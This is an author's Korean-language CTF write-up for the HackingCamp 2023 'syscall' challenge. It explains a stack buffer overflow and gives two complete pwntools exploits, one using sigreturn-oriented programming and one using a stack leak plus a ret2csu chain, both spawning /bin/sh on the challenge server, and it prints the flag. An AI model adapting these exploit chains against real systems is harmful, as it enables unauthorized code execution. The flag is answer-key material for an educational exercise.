(author) Winter HackingCamp CTF 2023 - syscall (SROP)

올해도 어김없이 해킹캠프 문제 출제를 하였다. 대회 시간이 꽤 짧고 다른 어려운 포너블 문제가 있기 때문에 문제 풀이 해주신 분들은 풀이가 상대적으로 쉬운 Sigreturn-oriented programming(SROP)를 이용하여 문제를 풀이해주셨을 것이라 생각된다. 나는 문제 출제하면서 두 가지 방법으로 풀이하였고 정작 SROP는 생각이 나지 않아 다른 방법으로 푼 후에 SROP로 풀이하였다.

롸업을 작성하면서 생각든 건데 seccomp과 같은 것을 두지 않았으니 서버에 존재하는 flag 파일의 이름을 알아낸 다음, openat, read, write 해서 문제를 풀이할 수 있을 것 같다. 해당 방법은 언인텐이 아니며 초심자를 위한 해킹캠프 취지에 맞게 다양한 풀이가 가능하도록 보호 기법을 강하게 제한을 두지 않았다. 개인적으로 flag 값을 읽어오는 것보단 쉘 따는 것이 더 재밌기 때문에.. 해당 풀이는 소개하지 않는다.

원하는 system call을 실행시켜보자!
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
tar -zxvf syscall-public.tar.gz

  • [ 3 solves / 428 points]

Analysis

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
signed __int64 v4; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

v3 = sys_write(1u, gloabl_buf, 0xCuLL);
v4 = sys_read(0, buf, 0x250uLL); // overflow
return 0;
}

전역변수에 적힌 값을 출력하고, 지역변수에 값을 입력 받는데 여기서 overflow가 대놓고 발생한다. 주어진 코드는 이게 다고, 내가 작성한 것을 출력해 주는 기능이 현재로선 존재하지 않기 때문에 뭔갈 leak할 수도 없어 보인다. 그러나 함수 목록을 보면 아래와 같은 hint 함수가 존재하고 유용한 가젯이 보인다.


보기 쉽게 나타내면 아래 두 가젯이 눈에 보인다.

1
2
add rax, 0x1 ; ret ;
syscall ; ret ;

이것을 이용하여 우리는 원하는 system call을 실행시킬 수 있다. 문제 바이너리는 64bit 전용 ELF이니 문제 설명에 나와있던 사이트를 접속해보자.

overflow도 발생하겠다.. rax 레지스터를 조작하여 우리는 저 사이트에 있는 system call들을 실행시킬 수 있다.

Solve 1 (Sigreturn-oriented programming(SROP))

  • Sigreturn system call을 사용하는 ROP 기법

프로그램은 보안, 자원 관리 등의 이유로 user mode와 kernel mode를 왔다갔다 하면서 실행되는데 이 때 자원 공유가 필요하다. kernel mode에서 user mode로 갈 때 Sigreturn system call을 이용하여 user mode의 레지스터를 세팅한다. 저 시스템 콜을 사용하여 레지스터를 세팅할 때 값에 대한 검증이 이루어지지 않는다. 그래서 우리는 Sigreturn system call을 강제로 호출하여 레지스터를 마음대로 바꿀 수 있다.

pwntoolsframe = SigreturnFrame()을 이용하여 매우 편리하게 코드를 작성할 수 있다.

  • exploit 시나리오
  1. 전역변수에 /bin/sh\x00 작성 -> read(0, 0x404028, 8)
  2. main으로 돌림
  3. SigreturnFrame()을 이용하여 편리하게 레지스터 세팅 -> execve('/bin/sh\x00', 0, 0)을 실행시키기 위함
  4. execve('/bin/sh\x00', 0, 0) 실행

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
# context.log_level = 'DEBUG'

e = ELF('./chall')
p = process('./chall')
# p = remote('3.38.2.179', 1337)
p = remote('3.38.2.179', 32860)

add_rax = 0x40110e
syscall = 0x401113
pop_rsi_r15 = 0x4011c1

# ==================== first main ====================
payload = b'A' * 0x20
payload += b'B' * 8

# read(0, 0x404028, 8)
payload += p64(pop_rsi_r15)
payload += p64(0x404028) # bss
payload += p64(0)
payload += p64(syscall)

payload += p64(e.sym['main'])

p.sendlineafter('!', payload)

# pause()
p.send(b'/bin/sh\x00')


# ==================== second main ====================
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = 0x404028
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b'A' * 0x20
payload += b'B' * 8

# rax = 0x0
for i in range(0xf):
payload += p64(add_rax)

payload += p64(syscall)
payload += bytes(frame)

sleep(1)
p.send(payload)

p.interactive()

Solve 2 (run execute(‘/bin/sh\x00’, 0, 0))

SROP 기법을 이용하지 않고 execute('/bin/sh\x00', 0, 0)을 실행시키는 것을 목표로 두는 풀이이다.

  1. write(1, stack주소, ?) 호출
    main 함수에서 sys_read(0, buf, 0x250uLL); 실행하고 난 뒤기 때문에 rax 레지스터와 rdi 레지스터만 수정해서 write 함수를 호출하여 stack 주소를 leak할 수 있다. (stack에 쓰여진 건 모두 leak할 수 있고 stack에는 stack 주소도 대부분 적혀있다.)

  2. read(0, 0x404028, 8) 호출
    bss 영역에 ‘/bin/sh\x00’을 쓸 것이다. 쓰고 난 후 execute('/bin/sh\x00', 0, 0)을 실행할 예정이다.

  3. execute('/bin/sh\x00', 0, 0) 호출
    인자 세 개를 조절해야 한다. 이 때 rdx를 조절하기 적당한 가젯이 없어서 csu gadget을 이용하였다.

이 때 [r15 + rbx*8] 에는 현재 작성한 payload의 아래 부분을 작성해주는 것이 유리하다. 1번 과정에서 stack 주소를 leak했으니 우리 payload가 어느 주소에 적힌지도 구할 수 있다. 익스 코드 주석을 보면 나는 rdi 레지스터를 세팅해주는 곳을 가리켰다. 정리하면 csu 가젯으로 edi, rsi, rdx 모두 세팅할 수 있는데 다 0으로 해놓고 후에 rdi를 다시 세팅해줬다.

편리하게 write, read, execute 함수 자체를 호출하는 것처럼 시나리오를 작성하였지만 호출해야할 것은 system call이라는 것을 잊지 말자. system call이니 만큼 함수를 호출하면 안되고 문제 설명의 사이트를 참고하여 올바른 값으로 rax 레지스터를 세팅한 다음 syscall 가젯을 호출해야 한다. 그리고 현재 레지스터의 상황에 맞게 add rax, 0x1 ; ret ; 가젯을 호출하자. 0x3b로 세팅해줘야 한다고 무작정 0x3b번 호출하면 안된다는 뜻이다. 왜냐하면 그 당시 rax 레지스터가 0이란 보장을 할 수 없기 때문이다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

context.arch = 'amd64'
# context.log_level = 'DEBUG'

e = ELF('./chall')
# p = process('./chall')
# p = remote('3.38.2.179', 1337)
p = remote('3.38.2.179', 32860)

add_rax = 0x40110e
syscall = 0x401113
pop_rsi_r15 = 0x4011c1
pop_rdi = 0x4011c3

csu_init = 0x4011BA
csu_call = 0x4011A0

# ==================== first main ====================
payload = b''
payload += b'A' * 0x20
payload += b'B' * 8

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(add_rax)
payload += p64(syscall)

payload += p64(e.sym['main'])

# pause()
p.send(payload)
p.recv(0x68)
stack = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
info(hex(stack))

p.recv(0x1000)

# ==================== second main ====================
payload = b'A' * 0x20
payload += b'B' * 8

# read(0, 0x404028, 8)
payload += p64(pop_rsi_r15)
payload += p64(0x404028) # bss
payload += p64(0)
payload += p64(syscall)

# rdx = 0
payload += p64(csu_init) # ret

payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(0) # r12 (edi)
payload += p64(0) # r13 (rsi)
payload += p64(0) # r14 (rdx)
payload += p64(stack - 0x60) # [r15 + rbx*8] stack-0x60 = pop_rdi ...

payload += p64(csu_call)

payload += p64(pop_rdi) # <- stack-0x60 is here
payload += p64(0x404028)

# rax = 0x3b
for i in range(0x33): # rax = 0x8
payload += p64(add_rax)

# execve('/bin/sh\x00', 0, 0)
payload += p64(syscall)

print(hex(len(payload)))

# pause()
p.send(payload)

# pause()
p.send(b'/bin/sh\x00')

p.interactive()

Flag

1
HCAMP{cf518127a07c471e00dcfca20a5ca08f}